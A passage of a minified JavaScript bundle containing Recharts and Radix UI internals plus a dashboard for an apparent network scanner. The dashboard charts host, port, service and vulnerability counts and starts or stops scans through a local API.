").concat(p),n),viewBox:u,ticks:x,axisType:p}))},Ooe={allowDataOverflow:Ht.allowDataOverflow,allowDecimals:Ht.allowDecimals,allowDuplicatedCategory:Ht.allowDuplicatedCategory,angle:Ht.angle,axisLine:ro.axisLine,hide:!1,includeHidden:Ht.includeHidden,interval:Ht.interval,minTickGap:Ht.minTickGap,mirror:Ht.mirror,orientation:Ht.orientation,padding:Ht.padding,reversed:Ht.reversed,scale:Ht.scale,tick:Ht.tick,tickCount:Ht.tickCount,tickLine:ro.tickLine,tickSize:ro.tickSize,type:Ht.type,width:Ht.width,yAxisId:0},Eoe=e=>{var t=pn(e,Ooe);return v.createElement(v.Fragment,null,v.createElement(woe,{interval:t.interval,id:t.yAxisId,scale:t.scale,type:t.type,domain:t.domain,allowDataOverflow:t.allowDataOverflow,dataKey:t.dataKey,allowDuplicatedCategory:t.allowDuplicatedCategory,allowDecimals:t.allowDecimals,tickCount:t.tickCount,padding:t.padding,includeHidden:t.includeHidden,reversed:t.reversed,ticks:t.ticks,width:t.width,orientation:t.orientation,mirror:t.mirror,hide:t.hide,unit:t.unit,name:t.name,angle:t.angle,minTickGap:t.minTickGap,tick:t.tick,tickFormatter:t.tickFormatter}),v.createElement(Soe,t))},OI=v.memo(Eoe,wI);OI.displayName="YAxis";var Aoe=(e,t)=>t,G1=G([Aoe,Fe,$k,It,CL,za,tee,kt],see),W1=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},EI=fr("mouseClick"),AI=Zc();AI.startListening({actionCreator:EI,effect:(e,t)=>{var n=e.payload,r=G1(t.getState(),W1(n));r?.activeIndex!=null&&t.dispatch(eJ({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var xb=fr("mouseMove"),CI=Zc(),ld=null;CI.startListening({actionCreator:xb,effect:(e,t)=>{var n=e.payload;ld!==null&&cancelAnimationFrame(ld);var r=W1(n);ld=requestAnimationFrame(()=>{var i=t.getState(),l=C1(i,i.tooltip.settings.shared);if(l==="axis"){var c=G1(i,r);c?.activeIndex!=null?t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate})):t.dispatch(gL())}ld=null})}});function Coe(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var X2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},_I=An({name:"rootProps",initialState:X2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:X2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),_oe=_I.reducer,{updateOptions:Toe}=_I.actions,TI=An({name:"polarOptions",initialState:null,reducers:{updatePolarOptions:(e,t)=>t.payload}}),{updatePolarOptions:Noe}=TI.actions,Moe=TI.reducer,NI=fr("keyDown"),MI=fr("focus"),X1=Zc();X1.startListening({actionCreator:NI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,l=e.payload;if(!(l!=="ArrowRight"&&l!=="ArrowLeft"&&l!=="Enter")){var c=_1(i,os(n),cu(n),du(n)),u=c==null?-1:Number(c);if(!(!Number.isFinite(u)||u<0)){var f=za(n);if(l==="Enter"){var h=uh(n,"axis","hover",String(i.index));t.dispatch(fb({active:!i.active,activeIndex:i.index,activeCoordinate:h}));return}var p=FQ(n),m=p==="left-to-right"?1:-1,y=l==="ArrowRight"?1:-1,x=u+y*m;if(!(f==null||x>=f.length||x<0)){var S=uh(n,"axis","hover",String(x));t.dispatch(fb({active:!0,activeIndex:x.toString(),activeCoordinate:S}))}}}}}});X1.startListening({actionCreator:MI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var l="0",c=uh(n,"axis","hover",String(l));t.dispatch(fb({active:!0,activeIndex:l,activeCoordinate:c}))}}}});var ir=fr("externalEvent"),jI=Zc(),n0=new Map;jI.startListening({actionCreator:ir,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,l=n0.get(i);l!==void 0&&cancelAnimationFrame(l);var c=requestAnimationFrame(()=>{try{var u=t.getState(),f={activeCoordinate:BJ(u),activeDataKey:P1(u),activeIndex:mo(u),activeLabel:NL(u),activeTooltipIndex:mo(u),isTooltipActive:UJ(u)};n(f,r)}finally{n0.delete(i)}});n0.set(i,c)}}});var joe=G([as],e=>e.tooltipItemPayloads),Poe=G([joe,fu,(e,t)=>t,(e,t,n)=>n],(e,t,n,r)=>{var i=e.find(u=>u.settings.graphicalItemId===r);if(i!=null){var{positions:l}=i;if(l!=null){var c=t(l,n);return c}}}),PI=fr("touchMove"),RI=Zc();RI.startListening({actionCreator:PI,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=C1(r,r.tooltip.settings.shared);if(i==="axis"){var l=n.touches[0];if(l==null)return;var c=G1(r,W1({clientX:l.clientX,clientY:l.clientY,currentTarget:n.currentTarget}));c?.activeIndex!=null&&t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate}))}else if(i==="item"){var u,f=n.touches[0];if(document.elementFromPoint==null||f==null)return;var h=document.elementFromPoint(f.clientX,f.clientY);if(!h||!h.getAttribute)return;var p=h.getAttribute(cD),m=(u=h.getAttribute(uD))!==null&&u!==void 0?u:void 0,y=is(r).find(w=>w.id===m);if(p==null||y==null||m==null)return;var{dataKey:x}=y,S=Poe(r,p,m);t.dispatch(vL({activeDataKey:x,activeIndex:p,activeCoordinate:S,activeGraphicalItemId:m}))}}}});var Roe=RR({brush:nae,cartesianAxis:Vre,chartData:$ee,errorBars:zae,graphicalItems:ire,layout:SK,legend:PY,options:Dee,polarAxis:yne,polarOptions:Moe,referenceElements:cae,rootProps:_oe,tooltip:tJ,zIndex:See}),Doe=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return YV({reducer:Roe,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([AI.middleware,CI.middleware,X1.middleware,jI.middleware,RI.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(GR({type:"raf"}))},devTools:{serialize:{replacer:Coe},name:"recharts-".concat(n)}})};function DI(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Vn(),l=v.useRef(null);if(i)return n;l.current==null&&(l.current=Doe(t,r));var c=hx;return v.createElement(cie,{context:c,store:l.current},n)}function koe(e){var{layout:t,margin:n}=e,r=ft(),i=Vn();return v.useEffect(()=>{i||(r(bK(t)),r(yK(n)))},[r,i,t,n]),null}var kI=v.memo(koe,Y1);function LI(e){var t=ft();return v.useEffect(()=>{t(Toe(e))},[t,e]),null}function Z2(e){var{zIndex:t,isPanorama:n}=e,r=v.useRef(null),i=ft();return v.useLayoutEffect(()=>(r.current&&i(xee({zIndex:t,element:r.current,isPanorama:n})),()=>{i(wee({zIndex:t,isPanorama:n}))}),[i,t,n]),v.createElement("g",{tabIndex:-1,ref:r})}function Q2(e){var{children:t,isPanorama:n}=e,r=we(uee);if(!r||r.length===0)return t;var i=r.filter(c=>c<0),l=r.filter(c=>c>0);return v.createElement(v.Fragment,null,i.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})),t,l.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})))}var Loe=["children"];function Ioe(e,t){if(e==null)return{};var n,r,i=zoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var n=gY(),r=yY(),i=AD();if(!Si(n)||!Si(r))return null;var{children:l,otherAttributes:c,title:u,desc:f}=e,h,p;return c!=null&&(typeof c.tabIndex=="number"?h=c.tabIndex:h=i?0:void 0,typeof c.role=="string"?p=c.role:p=i?"application":void 0),v.createElement(ZP,vh({},c,{title:u,desc:f,role:p,tabIndex:h,width:n,height:r,style:$oe,ref:t}),l)}),Uoe=e=>{var{children:t}=e,n=we(cp);if(!n)return null;var{width:r,height:i,y:l,x:c}=n;return v.createElement(ZP,{width:r,height:i,x:c,y:l},t)},J2=v.forwardRef((e,t)=>{var{children:n}=e,r=Ioe(e,Loe),i=Vn();return i?v.createElement(Uoe,null,v.createElement(Q2,{isPanorama:!0},n)):v.createElement(Boe,vh({ref:t},r),v.createElement(Q2,{isPanorama:!1},n))});function Hoe(){var e=ft(),[t,n]=v.useState(null),r=we(BK);return v.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),l=i.width/t.offsetWidth;ht(l)&&l!==r&&e(wK(l))}},[t,e,r]),n}function eM(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function qoe(e){for(var t=1;t(Gee(),null);function gh(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var Goe=v.forwardRef((e,t)=>{var n,r,i=v.useRef(null),[l,c]=v.useState({containerWidth:gh((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:gh((r=e.style)===null||r===void 0?void 0:r.height)}),u=v.useCallback((h,p)=>{c(m=>{var y=Math.round(h),x=Math.round(p);return m.containerWidth===y&&m.containerHeight===x?m:{containerWidth:y,containerHeight:x}})},[]),f=v.useCallback(h=>{if(typeof t=="function"&&t(h),h!=null&&typeof ResizeObserver<"u"){var{width:p,height:m}=h.getBoundingClientRect();u(p,m);var y=S=>{var{width:w,height:O}=S[0].contentRect;u(w,O)},x=new ResizeObserver(y);x.observe(h),i.current=x}},[t,u]);return v.useEffect(()=>()=>{var h=i.current;h?.disconnect()},[u]),v.createElement(v.Fragment,null,v.createElement(fp,{width:l.containerWidth,height:l.containerHeight}),v.createElement("div",yo({ref:f},e)))}),Woe=v.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,l]=v.useState({containerWidth:gh(n),containerHeight:gh(r)}),c=v.useCallback((f,h)=>{l(p=>{var m=Math.round(f),y=Math.round(h);return p.containerWidth===m&&p.containerHeight===y?p:{containerWidth:m,containerHeight:y}})},[]),u=v.useCallback(f=>{if(typeof t=="function"&&t(f),f!=null){var{width:h,height:p}=f.getBoundingClientRect();c(h,p)}},[t,c]);return v.createElement(v.Fragment,null,v.createElement(fp,{width:i.containerWidth,height:i.containerHeight}),v.createElement("div",yo({ref:u},e)))}),Xoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement("div",yo({ref:t},e)))}),Zoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return Ea(n)||Ea(r)?v.createElement(Woe,yo({},e,{ref:t})):v.createElement(Xoe,yo({},e,{ref:t}))});function Qoe(e){return e===!0?Goe:Zoe}var Joe=v.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:l,onContextMenu:c,onDoubleClick:u,onMouseDown:f,onMouseEnter:h,onMouseLeave:p,onMouseMove:m,onMouseUp:y,onTouchEnd:x,onTouchMove:S,onTouchStart:w,style:O,width:A,responsive:_,dispatchTouchEvents:T=!0}=e,j=v.useRef(null),M=ft(),[P,R]=v.useState(null),[I,B]=v.useState(null),q=Hoe(),U=Ox(),V=U?.width>0?U.width:A,oe=U?.height>0?U.height:i,le=v.useCallback(Q=>{q(Q),typeof t=="function"&&t(Q),R(Q),B(Q),Q!=null&&(j.current=Q)},[q,t,R,B]),ce=v.useCallback(Q=>{M(EI(Q)),M(ir({handler:l,reactEvent:Q}))},[M,l]),L=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:h,reactEvent:Q}))},[M,h]),F=v.useCallback(Q=>{M(gL()),M(ir({handler:p,reactEvent:Q}))},[M,p]),$=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:m,reactEvent:Q}))},[M,m]),Z=v.useCallback(()=>{M(MI())},[M]),de=v.useCallback(Q=>{M(NI(Q.key))},[M]),D=v.useCallback(Q=>{M(ir({handler:c,reactEvent:Q}))},[M,c]),X=v.useCallback(Q=>{M(ir({handler:u,reactEvent:Q}))},[M,u]),ae=v.useCallback(Q=>{M(ir({handler:f,reactEvent:Q}))},[M,f]),se=v.useCallback(Q=>{M(ir({handler:y,reactEvent:Q}))},[M,y]),me=v.useCallback(Q=>{M(ir({handler:w,reactEvent:Q}))},[M,w]),xe=v.useCallback(Q=>{T&&M(PI(Q)),M(ir({handler:S,reactEvent:Q}))},[M,T,S]),ee=v.useCallback(Q=>{M(ir({handler:x,reactEvent:Q}))},[M,x]),_e=Qoe(_);return v.createElement(LL.Provider,{value:P},v.createElement(_q.Provider,{value:I},v.createElement(_e,{width:V??O?.width,height:oe??O?.height,className:Ye("recharts-wrapper",r),style:qoe({position:"relative",cursor:"default",width:V,height:oe},O),onClick:ce,onContextMenu:D,onDoubleClick:X,onFocus:Z,onKeyDown:de,onMouseDown:ae,onMouseEnter:L,onMouseLeave:F,onMouseMove:$,onMouseUp:se,onTouchEnd:ee,onTouchMove:xe,onTouchStart:me,ref:le},v.createElement(Yoe,null),n)))}),ele=["width","height","responsive","children","className","style","compact","title","desc"];function tle(e,t){if(e==null)return{};var n,r,i=nle(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:l,className:c,style:u,compact:f,title:h,desc:p}=e,m=tle(e,ele),y=Ur(m);return f?v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement(J2,{otherAttributes:y,title:h,desc:p},l)):v.createElement(Joe,{className:c,style:u,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},v.createElement(J2,{otherAttributes:y,title:h,desc:p,ref:t},v.createElement(fae,null,l)))});function wb(){return wb=Object.assign?Object.assign.bind():function(e){for(var t=1;tv.createElement(ile,{chartName:"BarChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:ole,tooltipPayloadSearcher:IL,categoricalChartProps:e,ref:t}));function sle(e){var t=ft();return v.useEffect(()=>{t(Noe(e))},[t,e]),null}var cle=["layout"];function Sb(){return Sb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=pn(e,yle);return v.createElement(hle,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:gle,tooltipPayloadSearcher:IL,categoricalChartProps:n,ref:t})});function ble(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c);u.displayName=l+"Context";const f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,xle(i,...t)]}function xle(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var wle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],BI=wle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),Z1="Progress",Q1=100,[Sle]=ble(Z1),[Ole,Ele]=Sle(Z1),UI=v.forwardRef((e,t)=>{const{__scopeProgress:n,value:r=null,max:i,getValueLabel:l=Ale,...c}=e;(i||i===0)&&!rM(i)&&console.error(Cle(`${i}`,"Progress"));const u=rM(i)?i:Q1;r!==null&&!aM(r,u)&&console.error(_le(`${r}`,"Progress"));const f=aM(r,u)?r:null,h=yh(f)?l(f,u):void 0;return E.jsx(Ole,{scope:n,value:f,max:u,children:E.jsx(BI.div,{"aria-valuemax":u,"aria-valuemin":0,"aria-valuenow":yh(f)?f:void 0,"aria-valuetext":h,role:"progressbar","data-state":FI(f,u),"data-value":f??void 0,"data-max":u,...c,ref:t})})});UI.displayName=Z1;var HI="ProgressIndicator",qI=v.forwardRef((e,t)=>{const{__scopeProgress:n,...r}=e,i=Ele(HI,n);return E.jsx(BI.div,{"data-state":FI(i.value,i.max),"data-value":i.value??void 0,"data-max":i.max,...r,ref:t})});qI.displayName=HI;function Ale(e,t){return`${Math.round(e/t*100)}%`}function FI(e,t){return e==null?"indeterminate":e===t?"complete":"loading"}function yh(e){return typeof e=="number"}function rM(e){return yh(e)&&!isNaN(e)&&e>0}function aM(e,t){return yh(e)&&!isNaN(e)&&e<=t&&e>=0}function Cle(e,t){return`Invalid prop \`max\` of value \`${e}\` supplied to \`${t}\`. Only numbers greater than 0 are valid max values. Defaulting to \`${Q1}\`.`}function _le(e,t){return`Invalid prop \`value\` of value \`${e}\` supplied to \`${t}\`. The \`value\` prop must be: - a positive number - less than the value passed to \`max\` (or ${Q1} if no \`max\` prop is set) - \`null\` or \`undefined\` if the progress is indeterminate. -Defaulting to \`null\`.`}var VI=UI,Tle=qI;const KI=v.forwardRef(({className:e,value:t,...n},r)=>E.jsx(VI,{ref:r,className:Ee("relative h-2 w-full overflow-hidden rounded-full bg-secondary",e),...n,children:E.jsx(Tle,{className:"h-full w-full flex-1 bg-primary transition-all",style:{transform:`translateX(-${100-(t||0)}%)`}})}));KI.displayName=VI.displayName;const YI=v.createContext(null);function Nle(){const e=v.useContext(YI);if(!e)throw new Error("useChart must be used within a ");return e}const bh=v.forwardRef(({id:e,className:t,children:n,config:r,...i},l)=>{const c=v.useId(),u=`chart-${e||c.replace(/:/g,"")}`;return E.jsx(YI.Provider,{value:{config:r},children:E.jsx("div",{"data-chart":u,ref:l,className:Ee("flex aspect-video justify-center text-xs [&_.recharts-cartesian-axis-tick_text]:fill-muted-foreground [&_.recharts-cartesian-grid_line[stroke='#ccc']]:stroke-border/50 [&_.recharts-curve.recharts-tooltip-cursor]:stroke-border [&_.recharts-dot[stroke='#fff']]:stroke-transparent [&_.recharts-layer]:outline-none [&_.recharts-polar-grid_[stroke='#ccc']]:stroke-border [&_.recharts-radial-bar-background-sector]:fill-muted [&_.recharts-rectangle.recharts-tooltip-cursor]:fill-muted [&_.recharts-reference-line_[stroke='#ccc']]:stroke-border [&_.recharts-sector[stroke='#fff']]:stroke-transparent [&_.recharts-sector]:outline-none [&_.recharts-surface]:outline-none",t),...i,children:E.jsx(pY,{children:n})})})});bh.displayName="Chart";const Ob=nte,xh=v.forwardRef(({active:e,payload:t,className:n,indicator:r="dot",hideLabel:i=!1,hideIndicator:l=!1,label:c,labelFormatter:u,formatter:f,nameKey:h,labelKey:p},m)=>{const{config:y}=Nle(),x=v.useMemo(()=>{if(i||!t?.length)return null;const[w]=t,O=`${p||w?.dataKey||w?.name||"value"}`,_=y[O]?.label||c;return u&&t?E.jsx("div",{className:"font-medium",children:u(_,t)}):_?E.jsx("div",{className:"font-medium",children:_}):null},[c,u,t,i,y,p]);if(!e||!t?.length)return null;const S=t.length===1&&r!=="dot";return E.jsxs("div",{ref:m,className:Ee("grid min-w-[8rem] items-start gap-1.5 rounded-lg border border-border/50 bg-background px-2.5 py-1.5 text-xs shadow-xl",n),children:[S?null:x,E.jsx("div",{className:"grid gap-1.5",children:t.map((w,O)=>{const A=`${h||w.name||w.dataKey||"value"}`,_=y[A],T=w.payload?.fill||w.fill||w.color;return E.jsx("div",{className:Ee("flex w-full flex-wrap items-stretch gap-2 [&>svg]:h-2.5 [&>svg]:w-2.5 [&>svg]:text-muted-foreground",r==="dot"&&"items-center"),children:f&&w?.value!==void 0&&w.name?f(w.value,w.name,w,O,w.payload):E.jsxs(E.Fragment,{children:[_?.icon?E.jsx(_.icon,{}):!l&&E.jsx("div",{className:Ee("shrink-0 rounded-[2px]",{"h-2.5 w-2.5":r==="dot","w-1":r==="line","w-0 border-[1.5px] border-dashed bg-transparent":r==="dashed","my-0.5":S&&r==="dashed"}),style:{backgroundColor:T,borderColor:T}}),E.jsxs("div",{className:Ee("flex flex-1 justify-between leading-none",S?"items-end":"items-center"),children:[E.jsxs("div",{className:"grid gap-1.5",children:[S?x:null,E.jsx("span",{className:"text-muted-foreground",children:_?.label||w.name})]}),w.value!==void 0&&E.jsx("span",{className:"font-mono font-medium tabular-nums text-foreground",children:w.value.toLocaleString()})]})]})},w.dataKey||O)})})]})});xh.displayName="ChartTooltip";const ar={hosts:"hsl(var(--chart-1))",ports:"hsl(var(--chart-2))",services:"hsl(var(--chart-3))",vulns:"hsl(var(--chart-4))"};function Mle({status:e}){const{t}=wo(),n=e?.state==="running",r=e?.state==="stopping",i=v.useMemo(()=>e?.stats?[{name:t("statsHosts"),value:e.stats.hosts_scanned||0,fill:ar.hosts},{name:t("statsPorts"),value:e.stats.ports_scanned||0,fill:ar.ports},{name:t("statsServices"),value:e.stats.services_found||0,fill:ar.services},{name:t("statsVulns"),value:e.stats.vulns_found||0,fill:ar.vulns}].filter(f=>f.value>0):[],[e?.stats,t]),l={hosts:{label:t("statsHosts"),color:ar.hosts},ports:{label:t("statsPorts"),color:ar.ports},services:{label:t("statsServices"),color:ar.services},vulns:{label:t("statsVulns"),color:ar.vulns}},c=v.useMemo(()=>e?.stats?(e.stats.hosts_scanned||0)+(e.stats.ports_scanned||0)+(e.stats.services_found||0)+(e.stats.vulns_found||0):0,[e?.stats]),u=[{key:"hosts",label:t("statsHosts"),value:e?.stats.hosts_scanned||0,color:ar.hosts},{key:"ports",label:t("statsPorts"),value:e?.stats.ports_scanned||0,color:ar.ports},{key:"services",label:t("statsServices"),value:e?.stats.services_found||0,color:ar.services},{key:"vulns",label:t("statsVulns"),value:e?.stats.vulns_found||0,color:ar.vulns}];return E.jsxs(Gl,{className:"h-full",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsxs(ga,{variant:n?"default":r?"secondary":"outline",className:"gap-1",children:[n?E.jsx(yM,{className:"w-3 h-3"}):r?E.jsx(c0,{className:"w-3 h-3 animate-spin"}):E.jsx(xM,{className:"w-3 h-3"}),t(n?"scanRunning":r?"statusStopping":"statusIdle")]})]}),E.jsxs(Zl,{className:"space-y-6",children:[n&&E.jsxs("div",{className:"space-y-2",children:[E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsx("span",{className:"text-muted-foreground",children:t("loading")}),E.jsxs("span",{className:"font-mono text-primary text-lg",children:[e?.progress||0,"%"]})]}),E.jsx(KI,{value:e?.progress||0,className:"h-3"})]}),c>0?E.jsx("div",{className:"flex justify-center py-4",children:E.jsx(bh,{config:l,className:"h-[180px] w-[180px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:i,dataKey:"value",nameKey:"name",innerRadius:45,outerRadius:75,strokeWidth:3,stroke:"hsl(var(--background))",children:i.map((f,h)=>E.jsx(go,{fill:f.fill},`cell-${h}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}):E.jsx(Vh,{icon:xd,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-8"}),E.jsx("div",{className:"space-y-3",children:u.map(f=>E.jsxs("div",{className:"flex items-center justify-between p-3 rounded-lg bg-muted/50",children:[E.jsxs("div",{className:"flex items-center gap-3",children:[E.jsx("div",{className:"w-4 h-4 rounded",style:{backgroundColor:f.color}}),E.jsx("span",{className:"text-muted-foreground",children:f.label})]}),E.jsx("span",{className:"font-mono font-semibold text-lg",children:f.value})]},f.key))}),E.jsx("div",{className:"pt-4 border-t",children:E.jsxs("div",{className:"flex items-center justify-between",children:[E.jsx("span",{className:"text-muted-foreground font-medium",children:t("items")}),E.jsx("span",{className:"font-mono font-bold text-2xl",children:c})]})})]})]})}const Ai="/api";async function jle(e){const t=await fetch(`${Ai}/scan/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)});if(!t.ok){const n=await t.json();throw new Error(n.error||"Failed to start scan")}return t.json()}async function Ple(){const e=await fetch(`${Ai}/scan/stop`,{method:"POST"});if(!e.ok){const t=await e.json();throw new Error(t.error||"Failed to stop scan")}return e.json()}async function iM(){const e=await fetch(`${Ai}/scan/status`);if(!e.ok)throw new Error("Failed to get scan status");return e.json()}async function Rle(e){const t=e?`${Ai}/results?type=${e}`:`${Ai}/results`,n=await fetch(t);if(!n.ok)throw new Error("Failed to get results");return n.json()}async function Dle(e){const t=await fetch(`${Ai}/results/export?format=${e}`);if(!t.ok)throw new Error("Failed to export results");return t.blob()}async function kle(){const e=await fetch(`${Ai}/results/clear`,{method:"POST"});if(!e.ok)throw new Error("Failed to clear results");return e.json()}async function Lle(){const e=await fetch(`${Ai}/config/presets`);if(!e.ok)throw new Error("Failed to get presets");return e.json()}const Ile={host:"",ports:"",scan_mode:"all",thread_num:600,timeout:3,disable_ping:!1,disable_brute:!1,alive_only:!1,username:"",password:"",domain:"",exclude_hosts:"",exclude_ports:""};function zle(){const{t:e}=wo(),{clearLogs:t}=ax(),[n,r]=v.useState(null),[i,l]=v.useState([]),[c,u]=v.useState(!1),[f,h]=v.useState(null),[p,m]=v.useState(Ile);v.useEffect(()=>{(async()=>{try{const[_,T]=await Promise.all([iM(),Lle()]);r(_),l(T)}catch(_){console.error("Failed to fetch data:",_)}})();const A=setInterval(async()=>{try{const _=await iM();r(_)}catch{}},2e3);return()=>clearInterval(A)},[]);const y=async()=>{if(!p.host){h(e("targetRequired"));return}u(!0),h(null),t();try{await jle(p)}catch(O){h(O instanceof Error?O.message:e("startScanFailed"))}finally{u(!1)}},x=async()=>{u(!0);try{await Ple()}catch(O){h(O instanceof Error?O.message:e("stopScanFailed"))}finally{u(!1)}},S=n?.state==="running",w=n?.state==="stopping";return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4 h-full",children:[E.jsxs("div",{className:"lg:col-span-7 flex flex-col gap-4 min-h-0",children:[E.jsx(tq,{formData:p,onFormChange:m,presets:i,isRunning:S,isStopping:w,loading:c,error:f,onStart:y,onStop:x}),E.jsx(GP,{})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx(Mle,{status:n})})]})})}var r0="rovingFocusGroup.onEntryFocus",$le={bubbles:!1,cancelable:!0},mu="RovingFocusGroup",[Eb,GI,Ble]=Kb(mu),[Ule,$p]=Fn(mu,[Ble]),[Hle,qle]=Ule(mu),WI=v.forwardRef((e,t)=>E.jsx(Eb.Provider,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Eb.Slot,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Fle,{...e,ref:t})})}));WI.displayName=mu;var Fle=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:i=!1,dir:l,currentTabStopId:c,defaultCurrentTabStopId:u,onCurrentTabStopIdChange:f,onEntryFocus:h,preventScrollOnEntryFocus:p=!1,...m}=e,y=v.useRef(null),x=De(t,y),S=Kc(l),[w,O]=Oa({prop:c,defaultProp:u??null,onChange:f,caller:mu}),[A,_]=v.useState(!1),T=en(h),j=GI(n),M=v.useRef(!1),[P,R]=v.useState(0);return v.useEffect(()=>{const I=y.current;if(I)return I.addEventListener(r0,T),()=>I.removeEventListener(r0,T)},[T]),E.jsx(Hle,{scope:n,orientation:r,dir:S,loop:i,currentTabStopId:w,onItemFocus:v.useCallback(I=>O(I),[O]),onItemShiftTab:v.useCallback(()=>_(!0),[]),onFocusableItemAdd:v.useCallback(()=>R(I=>I+1),[]),onFocusableItemRemove:v.useCallback(()=>R(I=>I-1),[]),children:E.jsx(Ce.div,{tabIndex:A||P===0?-1:0,"data-orientation":r,...m,ref:x,style:{outline:"none",...e.style},onMouseDown:ue(e.onMouseDown,()=>{M.current=!0}),onFocus:ue(e.onFocus,I=>{const 